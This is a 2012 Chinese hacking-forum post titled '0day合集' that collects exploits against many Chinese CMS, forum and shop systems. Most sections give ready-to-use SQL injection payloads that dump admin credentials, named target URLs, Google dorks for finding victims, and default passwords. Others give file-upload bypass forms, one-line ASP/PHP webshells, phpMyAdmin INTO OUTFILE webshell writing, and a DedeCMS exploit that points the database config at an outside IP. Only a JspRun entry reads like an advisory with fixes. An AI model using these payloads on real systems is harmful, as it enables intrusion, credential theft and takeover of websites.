中国网络渗透测试联盟

标题: 0day合集 [打印本页]

---

作者: admin    时间: 2012-9-13 16:58
标题: 0day合集
启航企业建站系统 cookie注入漏洞通杀所有版本

直接上exploit:
0 b5 e& |# n' q( y) `+ Wjavascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
test:http://www.tb11.net/system/xitong/shownews.asp?id=210
7 ?) o. P/ a% R6 G$ m0 I5 m' n1 o--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 q# _' a. p1 oAsprain论坛 注册用户 上传图片就可拿到webshell
) N" r5 e  h/ ?9 Q4 ?
3 J9 ]8 G, s: R0 s9 GAsprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛，一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。
# a6 _8 J& H+ `- V; T! P( e4 Q1.txt存放你的一句话马 如：<%execute(request("cmd"))%>
2.gif 为一小图片文件，一定要小，比如qq表情图片
3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头，但是现在传上去还不行，我接下来就用
. o* `- W# N6 B4 {9 f4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了
5.q.asp;.gif
# M" @# b0 F# W/ Egoogle：Powered by Asprain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
! u$ l- o2 C9 [) |
ShopNum1全部系统存在上传漏洞。
; M/ ^+ @# v. _8 {5 F0 U
首先 在 http://www.shopnum1.com/product.html 页面查看任意产品详细说明。
0 ]" E: ~0 \8 W( J4 W按说明 提示登录后台。。
7 L: W) S+ l. F5 Q6 q在后台功能页面->附件管理->附件列表
可以直接上传.aspx 后缀木马
http://demo.shopnum1.com/upload/20110720083822500.aspx
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

牛牛CMS中小企业网站管理系统 上传漏洞

牛牛CMS是中企商铺网专为中小企业网站开发的网站管理系统。
后台:admin/login.asp
1 ]5 @* t7 K4 p4 dewebeditor 5.5 Nday
exp:
( h1 J+ [4 B8 S" P<form?action="http://www.lz5188.net/Admin/WebEditor168/asp/upload.asp?action=save&type=image&style=popup&cusdir=Mr.DzY.asp"?method=post?name=myform?enctype="multipart/form-data">?
<input?type=file?name=uploadfile?size=100><br><br>?
) B" Q- ~' H3 S* U  J9 v4 d<input?type=submit?value=upload>?
</form>
ps:先上传小马.
( H0 `" f/ E7 r. w/ B7 minurl:member/Register.asp 您好，欢迎来到立即注册立即登录设为首页加入收藏
' s* F1 X% e* Z. n1 ^
9 L9 J: I0 {/ z1 n--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ [, b: c5 ?7 B
YothCMS 遍历目录漏洞

优斯科技企业网站管理系统(YothCMS)是一款完全开源免费的CMS。
默认后台:admin/login.asp
遍历目录:
ewebeditor/manage/upload.asp?id=1&dir=../
+ a9 C8 e* O% w) t3 H- m& qdata:
7 q. \& c) l& ^/ t7 fhttp://www.flycn.net/%23da%23ta%23\%23db_%23data%23%23.asa
6 V' y2 R  o9 t; N6 T! k$ @--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Z$ A& W1 ^: O: f9 \/ H, e
) O. D4 `9 {3 u! l- z* w8 o, jNet112企业建站系统 1.0

3 }8 f' _7 V. T7 P+ T2 p源码简介：
Net112企业建站系统，共有：新闻模块，产品模块，案例模块，下载模块，相册模块，招聘模块，自定义模块，友情链接模块 八大模块。
: j' ?  g; ]# p$ z# _3 h7 \7 v添加管理员：
1 b* n, A, j/ j2 Ohttp://www.0855.tv/admin/admin.asp?action=add&level=2
3 B/ A1 Q9 J/ k1 a* P* e6 |, C其实加不加都不是很重要，后台文件都没怎么作验证。
上传路径：
+ x. |, e3 ]- y6 b. u1 A, ?http://www.0855.tv/inc/Upfile.as ... 0&ImgHeight=200
http://www.0855.tv/inc/Upfile.asp?Stype=2
怎么利用自己研究。
4 H/ F' d9 K, ^  v" m- p4 O遍历目录：
http://www.0855.tv/admin/upfile.asp?path=../..
4 }9 s& y% m$ _% P' e如：
0 L& k* j, ~# R' n* A& F0 P7 fhttp://www.0855.tv/admin/upfile.asp?path=../admin
http://www.0855.tv/admin/upfile.asp?path=../data
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

易和阳光购物商城通杀 上传漏洞

前提要求是IIS6.0+asp坏境。
7 q2 i8 }3 Y; Z  m漏洞文件Iheeo_upfile.asp
7 ^/ }) d- H& I$ o过滤不严.直接可以iis6.0上传
把ASP木马改成0855.asp;1.gif
直接放到明小子上传
Google搜索：inurl:product.asp?Iheeoid=
, {: z' F) Z: {) d% U--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

/ x& w! b9 N7 j8 _. Mphpmyadmin后台4种拿shell方法
; F3 h. q1 \, F7 O6 a2 S1 H( M( `
1 |/ g- M+ f' w# i方法一：
, j5 a' q- t! P8 c, S% J6 a$ {2 YCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
8 ], {; u9 E4 Z----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
一句话连接密码：xiaoma
方法二：
& K0 I" T2 \- w7 J2 jCreate TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
/ l% z) A7 m) o- X1 ~4 W/ W' `6 b方法三：
读取文件内容：    select load_file('E:/xamp/www/s.php');
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
' ^0 G; J: v( w+ h5 t9 Mcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
方法四：
select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
- j% Z; q  [1 T+ [9 z2 ?--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

5 {3 O7 y- F: v! o% B传信网络独立开发网站源码0day漏洞
# v4 ^3 I7 |- G+ u* X2 f. W
; W& w; L; f/ v) Q, o后台system/login.asp
9 g' w* l3 \9 E进了后台有个ewebeditor
; Q6 S  n: `: Z; _, }; X: lGoogle 搜索inurl:product1.asp?tyc=
编辑器漏洞默认后台ubbcode/admin_login.asp
数据库ubbcode/db/ewebeditor.mdb
/ j- P8 P9 j# d5 V6 w9 }+ v默认账号密码yzm 111111
3 v/ T1 ^- i; R0 h# t
拿webshell方法
; l/ r3 d7 w( d4 T" H" V3 T登陆后台点击“样式管理”-选择新增样式
% S$ }4 O* p2 g" Q) s3 Z) }样式名称:scriptkiddies 随便写
路径模式：选择绝对路径
图片类型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|cdx
图片类型比如就是我们要上传的ASP木马格式
上传路径：/
图片限制：写上1000 免的上不了我们的asp木马
上传内容不要写
# R! S6 |8 F% d1 |可以提交了
1 e5 S. f) X6 h! k样式增加成功！
返回样式管理 找到刚才添加的样式名称 然后按工具栏 在按新增工具栏
8 m! {+ L. q, C/ O; }$ \按钮设置 在可选按钮 选择插入图片然后按》 -然后保存设置
* _6 K/ k2 B1 K9 ?) j4 E网页地址栏直接输入ubbcode/Upload.asp?action=save&type=&style=scriptkiddies
上ASP木马 回车 等到路径

后台：system/login.asp
% Z" ?" J! z% p$ T0 WExp:
1 [6 p3 q8 f6 Q! f, wand 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
$ _# k- H7 a1 q- u' Y5 t% l测试:
# Q; o( ~- t1 _0 C  x1 ahttp://www.zjgaoneng.com/product_show.asp?id=9 and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
http://www.yaerli.com/product_show.asp?id=245 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14 from master
/ A) i0 c3 _; A* s7 E--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1 @% U' {; r8 V0 g
2 W3 @/ k4 L; L& t- Rfoosun 0day 最新注入漏洞

漏洞文件：www.xxx.com/user/SetNextOptions.asp
; P" L: u0 `( f3 {7 A. j0 n) O利用简单的方法：
暴管理员帐号：
, o& y  y+ I0 Bhttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理员密码：
2 g1 V5 f+ q. Hhttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_pass_word,
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

8 ~( f( B, d! T' c- o% q! k) R0 c网站程序的版权未知！
5 b( ?9 g( M1 e% U& [$ ?
默认网站数据库：
www.i0day.com/data/nxnews.mdb
7 P( R7 L' c: N, U$ D; O1 W: {' @ewebeditor 在线编辑器：
编辑器数据库下载地址：www.i0day.com/ewebeditor/db/ewebeditor.mdb
登录地址：ewebeditor/admin_login.asp
默认密码：admin  admin
0 |: D) o0 T" {% ^登陆后可遍历目录：ewebedtior/admin_uploadfile.asp?id=22&dir=../../data

! z( U. V# \2 d" b- f( t- _Sql注入漏洞：
( W4 Y% C! B  h. F' ?" \http://www.i0day.com/detail.asp?id=12
( C/ K/ M$ l" M& X7 `0 ~; a; `exp:
) v3 q  f; h; N8 e: K0 K# Punion select 1,admin,password,4,5,6,7,8 from admin
- ?# v' G$ q: F: p爆出明文帐号/密码

上传漏洞：
后台+upfile.asp
5 o% F; i$ f; M. A( K, Z+ s% f如：
) I! D' \4 _# n! Z' Whttp://www.i0day.com/manage/upfile.asp 可以用工具。如明小子。
0 B. N5 c+ g  ^$ g: b, Ishell的地址：网址+后台+成功上传的马
google:inurl:news.asp?lanmuName=
7 ^* Q' i( n' U4 ^' G) p( i: h------------------------------------------------------------------------------------------------------------------------------------------------------------------------

7 n0 x* k4 u5 P" t# A4 odedecms最新0day利用不进后台直接拿WEBSHELL
! {8 k4 |6 z5 t' N1 i* I5 d* x
2 E6 i1 |, N+ W, G& u拿webshell的方法如下：
网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell.
前题条件，必须准备好自己的dede数据库，然后插入数据：
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');
0 N: R, h  z/ `( A4 {3 q1 j$ ?
& N/ S# J( O. Z$ p" x. z再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
) J! j* i4 B8 h<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
$ c- `+ S6 X" @% {! x0 F1 G0 |; F0 o<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
+ m: t5 s8 |( k<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
3 w9 E. X% q! A9 l<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
! e. V4 x8 V- U2 e* n' a<input type="text" value="true" name="nocache" style="width:400">
+ l2 G4 k$ _: M2 f<input type="submit" value="提交" name="QuickSearchBtn"><br />
) Z" w1 j& I4 ^7 @# X( ?</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
5 D# D* r" o# U, m& M# U$ o: @& y</script>
-----------------------------------------------------------------------------------------------------------------------------------------------
; i& |0 P/ ]: B9 q/ ?& r3 s- x6 D
dedecms织梦暴最新严重0day漏洞
8 k& W" ^& T  y+ vbug被利用步骤如下：
3 V9 x/ P) ?5 i) \" K+ v9 N+ J! x7 ?+ }7 Lhttp://www.2cto.com /网站后台/login.php?dopost=login&validate={dcug}&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面{}上的字母改为当前的验证码，即可直接进入网站后台。
# H! J- y7 t* U1 m2 o4 n  L7 E. T% M-------------------------------------------------------------------------------------------------------------------------------------------
/ \8 n* Y* ]# C/ ^3 ?0 d2 i
# M# C" Y6 C- _0 I  ~多多淘宝客程序上传漏洞
漏洞页面：
admin\upload_pic.php
传送门：
2 v/ a/ U/ ^6 V0 Z# `7 _7 O- N; f0 mhttp://www.www.com/admin/upload_pic.php?uploadtext=slide1
! n- i  Z0 g4 n1 Z2 ^, r/ sPS:copy张图片马 直接  xxx.php 上传抓包地址！
  a0 e9 t: ~: h3 _------------------------------------------------------------------------------------------------------------------------------------------------------

" z! ?! i8 j$ V7 `  Y+ C2 e( Y无忧公司系统ASP专业版后台上传漏洞
  @& k3 {% W. m$ }漏洞文件 后台上传
admin/uploadPic.asp
漏洞利用 这个漏洞好像是雷池的
9 |/ S/ z" s& q7 Thttp://forum.huc08.com/admin/upl ... ptkiddies.asp;& upload_code=ok&editImageNum=1
! |2 ?. M; j9 P7 L5 R, \* D! F等到的webshell路径：
* x& y" }; `3 Z! I/UploadFiles/scriptkiddies.asp;_2.gif
$ E+ L8 y1 u6 X9 i---------------------------------------------------------------------------------------------------------------------------------------------------

1 s+ }( ~) q1 h& G0 Q; g& x' `住哪酒店分销联盟系统2010
& L$ B3 u& |' G+ r( @Search：
+ c/ |9 E* |  j5 v' |inurl:index.php?m=hotelinfo
  p+ B, i2 K: ]5 |8 V( ]http://forum.huc08.com /index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
$ B, c0 a9 I  U0 @1 ]/ C* @, N默认后台：index.php?m=admin/login
--------------------------------------------------------------------------------------------------------------------------------------------------

% c+ F5 Q% R+ Q; D0 X, }inurl:info_Print.asp?ArticleID=
后台 ad_login.asp
- \9 l1 C/ _$ S3 j爆管理员密码：
- X7 E( w' ], Z' d8 Z% y+ Funion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
4 Q: j& W- ^) V+ o9 m------------------------------------------------------------------------------------------------------------------------------------------------------------

搜索框漏洞！
%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
$ t" \' u+ i8 Z  l0 b--------------------------------------------------------------------------------------------------------------------------------------------------------
2 O. v: S9 l% \, `" _
关键字：
' U9 s/ _* `+ W9 f; e8 finurl:/reg_TemletSel.asp?step=2
5 `6 Q( W. w5 W% t" _* u或者
电子商务自助建站--您理想的助手
-------------------------------------------------------------------------------------------------------------------------------------------------

iGiveTest 2.1.0注入漏洞
Version: <= 2.1.0
' x0 u& [6 X) J# Homepage: http://iGiveTest.com/
谷歌关键字: “Powered by iGiveTest”
; z! a" L. G2 {2 K9 n- c随便注册一个帐号。然后暴管理员帐号和密码
http://www.xxxx.com/users.php?ac ... r=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
8 ]7 K9 H! J( A9 {* p0 o* q------------------------------------------------------------------------------------------------------------------------------------------------
/ M6 }8 T) ~! @/ n/ c
CKXP网上书店注入漏洞
. }* _- P2 m  {0 P工具加表:shop_admin 加字段:admin
, ~& P- q5 J. B' \, q7 L& f后台:admin/login.asp
4 Q  V- i* M% f2 C6 u登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
inurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
( g8 Y* @: z4 V6 x. y--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ ^: m% Q& Q" D+ k  W: o
段富超个人网站系统留言本写马漏洞
源码下载：http://www.mycodes.net/24/2149.htm
. P. ^* m" e/ z. F% caddgbook.asp 提交一句话。
连接： http://www.xxxx.tv/date/date3f.asp
! o  I, Y+ O. A& M' F% i9 K% O8 }google:为防批量，特略！
( n+ h4 t8 q, U$ {-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
5 L( ]; h* ~* @2 s2 P+ R- n
$ J$ g' n: w  [2 E智有道专业旅游系统v1.0 注入及列目录漏洞
默认后台路径：/admin/login.asp
" t6 R" [1 I. }+ D" q3 l默认管理员：admin
: Z/ y5 Z3 n. `默认密码：123456
" a) B$ o. s) g7 r5 }SQL EXP Tset:
http://www.untnt.com/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin
/ H/ c) Q  _' u! s------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ewebeditor(PHP) Ver 3.8 本任意文件上传0day
# K- g. g- J- y& Z* \  t  O5 iEXP：
3 y% \1 x  z" G/ d+ T<title>eWebeditoR3.8 for php任意文件上EXP</title>
7 g2 R- ]* v* b2 o3 b) b. l7 w<form action="" method=post enctype="multip
- l2 J" ~( Q8 ~- w$ zart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://www.untnt.com/ewebeditor/" size=100><br>
6 m9 v6 b1 n! `) Z8 V& Y+ A<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit onclick=fsubmit()>
( ^( L2 }  Z, Y4 M4 e9 Z</form><br>
  Y( |9 s- `( B, T) ^+ ?<script>
0 @2 ^0 j" L7 g+ U* Ofunction fsubmit(){
# |* `+ K( u' o/ a( w0 Rform = document.forms[0];
0 U) a$ @: G( oform.action = form.url.value+''php/upload.php?action=save&type=FILE&style=toby57&language=en'';
alert(form.action);
1 Z! K: W4 Z9 n# w- K/ {form.submit();
}
9 P) z9 |; K5 T* J: {. j7 M4 g</script>
* |8 O  {1 j0 K- s4 G  u注意修改里面ewebeditor的名称还有路径。
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

提交’时提示ip被记录 防注入系统的利用
( Y5 c5 e. o$ f' |/ I网址：http://www.xxx.com/newslist.asp?id=122′
8 n2 g- }/ m8 h提示“你的操作已被记录!”等信息。
7 Q3 t+ v% V- Z2 {利用方法：www.xxx.com/sqlin.asp看是否存在，存在提交http://www.xxx.com/newslist.asp?id=122‘excute(request("TNT"))写入一句话。
$ i. P" W. C2 H8 x' Z8 z/ D-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
( v8 w2 Q6 r0 X
西部商务网站管理系统 批量拿shell-0day
这站用的是SQL通用防注入程序 V3.0,恩,这东西可不好绕,我记得当初我有写过一个文章 通过提交一句话直接拿shell的..唯一的前提是存储记录ip的数据库必须是.asp或.asa才行..看了下sqlin.mdb
1:admin_upset.asp 这个文件有个设置上传后缀的地方.. 很简单,它直接禁止了asp,asa.aspx 还有个cer可以利用嘛
2:同样是admin_upset.asp 这个文件不是入库的 他是直接在htmleditor目录生成个config.asp文件...Ok不用多说,插个一句话搞定...注意闭合
" u  h- P2 ?: P8 o5 H$ g3:admin_bakup.asp 备份数据库的..但是得本地构造...调用了filesystemobject 怎么利用就不强调了..IIS的bug大家都懂
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

- x- g, n+ y5 kJspRun!6.0 论坛管理后台注入漏洞
  p5 p, j. x8 r$ _) }# o
SEBUG-ID:20787 发布时间:2011-04-30 影响版本:
JspRun!6.0
漏洞描述:
* Y0 [' X. j  S) W+ WJspRun!论坛管理后台的export变量没有过滤，直接进入查询语句，导致进行后台，可以操作数据库，获取系统权限。
- c& }6 \: y7 u  w在处理后台提交的文件中ForumManageAction.java第1940行
, U& D1 L7 C' s3 l5 o1 W% P3 LString export = request.getParameter("export");//直接获取，没有安全过滤
if(export!=null){
0 A* {! [+ R& C- {/ M& [8 B4 PList&gt; styles=dataBaseService.executeQuery("SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");//进入查询语，执行了...
if(styles==null||styles.size()==0){
<*参考
$ ~7 `# S7 q2 V2 n# O/ c1 m+ jnuanfan@gmail.com
" h$ _7 |: O  c+ `) V+ c*> SEBUG安全建议:
' _3 a5 B& T& D9 Y: A( ~9 {2 M1 ~www.jsprun.net
（1）安全过滤变量export
( |# T4 I0 O0 I) j% l5 B+ M（2）在查询语句中使用占位符
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

乌邦图企业网站系统 cookies 注入

程序完整登陆后台:/admin/login.asp
默认登陆帐号:admin 密码:admin888
/ p3 p7 z. D! K' [+ S语句：(前面加个空格)
% I. p0 C$ u7 a+ j" ]7 yand 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
或者是16个字段：
and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
4 H% h- c. S2 o. {) _爆不出来自己猜字段。
注入点：http://www.untnt.com/shownews.asp?=88
getshell:后台有备份，上传图片小马。备份名：a.asp 访问 xxx.com/databakup/a.asp
关键字：
inurl:shownews?asp.id=
0 L$ F- \' j7 B+ N% C/ r+ Q-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1 ^0 k# U$ R! L* R( M/ ?( e% s
  c! P0 M8 M* ]CKXP网上书店注入漏洞

工具加表:shop_admin 加字段:admin
后台:admin/login.asp
登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
inurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

YxShop易想购物商城4.7.1版本任意文件上传漏洞
  E" e, `, K; Z6 ?7 \  ?& ?" P# M
( N) s" N9 M1 Q, Hhttp://xxoo.com/controls/fckedit ... aspx/connector.aspx
跳转到网站根目录上传任意文件。
+ x4 B4 r0 i  U如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxoo.net/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
Upload a new file:<br>
2 v- u# a9 Y  Y' E! |$ L; E<input type="file" name="NewFile" size="50"><br>
( S" J5 }$ `  q2 A$ O; j<input id="btnUpload" type="submit" value="Upload">
) ?, [- E' `8 Z; ]$ L& {</form>
6 S% L. M' ~; T! c-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

" q2 L0 b. s- Z- P  b  ^SDcms 后台拿webshell

% q4 L) t6 g4 r8 y/ p第一种方法：
进入后台-->系统管理-->系统设置-->系统设置->网站名称;
把网站名称内容修改为   "%><%eval request("xxx")'    //密码为xxx
* t, k( o! p- Z) S, U( e& t/ X用菜刀链接http://www.xxx.com/inc/const.asp  就搞定了。
, G+ G6 |! X: z$ u. _第二种方法：
1 W, u+ m- U/ Q/ {% b' W! K) Y进入后台-->系统管理-->系统设置-->系统设置->上传设置;
# h! M& t, k. v8 p在文件类型里面添加一个aaspsp的文件类型，然后找一个上传的地方直接上传asp文件！ 注：修改文件类型后不能重复点保存！
0 C% I* {- k2 a8 V! K( z第三种方法：
进入后台-->界面管理-->模板文件管理-->创建文件
文件名写入getshell.ashx
) A' @8 J( f- K0 c; e% b内容写入下面内容：
" E+ C. p8 A" J9 d  W+ z/====================复制下面的=========================/
6 l. T5 H9 l: Z4 O8 u<%@ WebHandler Language="C#" Class="Handler" %>
, }5 T5 y: i- u; Busing System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
5 m: z8 p$ y+ N; F5 q3 p, eStreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
# t4 a4 B7 x+ P+ y8 Lfile1.Flush();
9 S5 X0 m6 x1 \2 l3 Gfile1.Close();
  T$ C- i6 F( M& r4 g9 d/ K, {}
public bool IsReusable {
get {
return false;
}
}
}
/=============================================/
- \* s) u6 D( ?访问这个地址：http://www.xxx.com/skins/2009/getshell.ashx
' z/ v' B  J- U8 Q7 D会在http://www.xxx.com/skins/2009/目录下生成getshell.asp 一句话木马 密码为xxx 用菜刀链接
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
% a1 z, C6 J; j! C" w% s4 J
" d2 V) l+ l- o& VESCMS网站管理系统0day
6 k& [$ K/ J' |4 r7 Y% o* m
" n! {$ `' y7 ~1 m: l$ R后台登陆验证是通过admin/check.asp实现的
) ]% r" x" k) c& R, \6 _' v
$ \  k* z4 F$ u首先我们打开http://target.com/admin/es_index.html
# q% O& ~. G$ S+ l  Z5 V$ b然后在COOKIE结尾加上
% c* C( o, e5 u- {( q7 R! o; v1 t; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
进后台了嘎..
% |: V6 r+ m( O/ N然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL

利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
0 q6 k1 @7 k. u' @嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
5 v: @$ C* V$ K/ ~+ u1 w! p在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

宁志网站管理系统后台无验证漏洞及修复
) Y* Y" v) {- W) Y4 d  o5 G
7 J$ Y$ A# D* u9 A' L" o+ o0 L* z' @网上搜了一下,好像没有发布.如有雷同纯粹巧合!
官方网站:www.ningzhi.net
学校网站管理系统 V.2011版本
2 b. O( l& i* ]5 B1 i# {% c; \http://down.chinaz.com/soft/29943.htm
其它版本(如:政府版等),自行下载.
漏洞说明:后台所有文件竟然都没有作访问验证...相当无语...竟然用的人还很多.汗~~~
7 c, L2 C4 _) G; u( y: w/ E  ^9 tlogin.asp代码如下:
<%  response.Write"<script language=javascript>alert('登陆成功！请谨慎操作！谢谢！');this.location.href='manage.asp';</script>" %>
! ?# i; k" y, }+ Y/ ~5 `6 Bmanage.asp代码我就不帖出来了.反正也没验证.
$ P! L$ {4 v" B5 Y- M6 p只要访问登陆页就可以成功登陆.....蛋疼~~~ 对此本人表示不理解!
漏洞利用:
直接访问http://www.0855.tv/admin/manage.asp
数据库操作:http://www.0855.tv/admin/manage_web.asp?txt=5&id=web5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ T1 w  i( s' X5 {
phpmyadmin拿shell的四种方法总结及修复
, t6 ]" _1 c; @' v
方法一：
' k% s1 A3 q! ZCREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
0 H4 l; u  g9 J6 J- U4 gINSERT INTO `mysql`.`study` (`7on` )VALUES ('<?php @eval($_POST[7on])?>');
. r: `  o$ V2 h; k" a8 kSELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
0 h/ `0 x0 o/ S" }- o7 f6 W/ ^# t----以上同时执行，在数据库: mysql 下创建一个表名为：study，字段为7on，导出到E:/wamp/www/7.php
4 z7 o! E! U: j! [9 D    一句话连接密码：7on
$ S! e" I" ?7 d/ g% F方法二：
# o8 J( Z* S/ M% G) m* \6 n读取文件内容：    select load_file('E:/xamp/www/s.php');
/ z' X$ i; ~1 o3 f+ |7 }写一句话：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
5 u3 h, l+ s" T+ Z3 lcmd执行权限：    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
: B. h+ n: n% r  N8 f$ A方法三：
2 a! E7 h) o2 z  PJhackJ版本 PHPmyadmin拿shell
Create TABLE study (cmd text NOT NULL);
Insert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
1 O4 ?4 ?0 ^. O7 H5 [select cmd from study into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS study;
<?php eval($_POST[cmd])?>
( v  Z' O; r. u/ v& u: f2 v# XCREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查询结果为空(即零行)。
! H  ?: b1 c; j" `: XINSERT INTO study( cmd ) VALUES ('<?php eval($_POST[cmd])?>');# 影响列数： 1
7 n8 v6 c* i7 z. [9 cSELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php';# 影响列数： 1
